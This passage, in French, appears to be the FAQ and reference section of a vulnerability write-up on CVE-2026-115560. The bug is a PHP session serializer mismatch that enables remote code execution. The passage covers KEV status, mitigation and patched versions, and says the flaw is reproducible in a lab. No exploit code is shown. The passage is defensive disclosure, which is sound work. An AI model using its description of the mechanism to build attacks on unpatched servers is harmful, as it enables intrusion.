Le sérialiseur par défaut est php pour l'écriture comme pour la lecture, donc l'encodeur et le décodeur s'accordent sur le pipe. La faille exige un sérialiseur de démarrage qui écrit le pipe sans échappement et un décodeur d'exécution qui le traite comme une structure.

Existe-t-il un exploit public ?

Le décalage de sérialiseurs est reproductible de bout en bout contre php:8.4.27-apache lorsqu'une classe gadget chargeable est présente, comme le montre la section Comment reproduire la faille dans un laboratoire local ?.

Est-elle dans le catalogue KEV de la CISA ou exploitée dans la nature ?

Non. CVE-2026-115560 n'est pas dans le KEV de la CISA au 2026-11-19, et aucune exploitation n'est signalée. Les deux failles PHP liées, CVE-2026-109618 et CVE-2026-109619, ont été ajoutées au KEV le 2026-10-26 ; ce sont d'autres bugs.

Désactiver la progression d'envoi corrige-t-il la faille ?

Cela supprime l'écriture qui transporte les octets de l'attaquant, donc cela casse la chaîne documentée. Cela ne change pas l'hypothèse du moteur selon laquelle l'écrivain et le lecteur utilisent le même sérialiseur. Mettez aussi à jour vers la version corrigée.

Quelles versions sont corrigées ?

PHP 8.5.13, 8.4.28, 8.3.37 et 8.2.36 corrigent CVE-2026-115560 dans la publication de sécurité du 2026-11-19. Vérifiez le rétroportage de votre distribution si vous utilisez une branche hors support.

Références

  • PHP, « Informational advisory: Session upload progress », 2026-10-23 : https://www.php.net/archive/2026.php#2026-10-23-1 (consulté le 19 novembre 2026)
  • PHP, « Upcoming Critical PHP Security Release », 2026-11-18 : https://www.php.net/archive/2026.php#2026-11-18-1 (consulté le 19 novembre 2026)
  • PHP, « Security advisory: Critical remote code execution vulnerabilities, update now », 2026-10-21 : https://www.php.net/archive/2026.php#2026-10-21-5 (consulté le 19 novembre 2026)
  • Code source PHP à l'étiquette php-8.5.12, ext/session/session.c : https://github.com/php/php-src/blob/php-8.5.12/ext/session/session.c (consulté le 19 novembre 2026)
  • Code source PHP à l'étiquette php-8.5.12, main/rfc1867.c : https://github.com/php/php-src/blob/php-8.5.12/main/rfc1867.c (consulté le 19 novembre 2026)
  • Code source PHP à l'étiquette php-8.5.12, ext/standard/var_unserializer.re : https://github.com/php/php-src/blob/php-8.5.12/ext/standard/var_unserializer.re (consulté le 19 novembre 2026)
  • GHSA-6wmf-4rv5-p3rp, « RCE via stale global state », l'avis du 2026-10-21 qui recommande de désactiver la progression d'envoi : https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp (consulté le 19 novembre 2026)
  • GHSA-658j-r8rw-q6mx / CVE-2026-115560, « Session serializer mismatch can lead to remote code execution » (CVSS v4.0 9.2 CRITICAL), publié le 2026-11-19 : https://github.com/php/php-src/security/advisories/GHSA-658j-r8rw-q6mx et https://www.cve.org/CVERecord?id=CVE-2026-115560 (consulté le 19 novembre 2026)
  • Catalogue Known Exploited Vulnerabilities de la CISA, version 2026.11.18, CVE-2026-115560 absent : https://www.cisa.gov/known-exploited-vulnerabilities-catalog (consulté le 19 novembre 2026)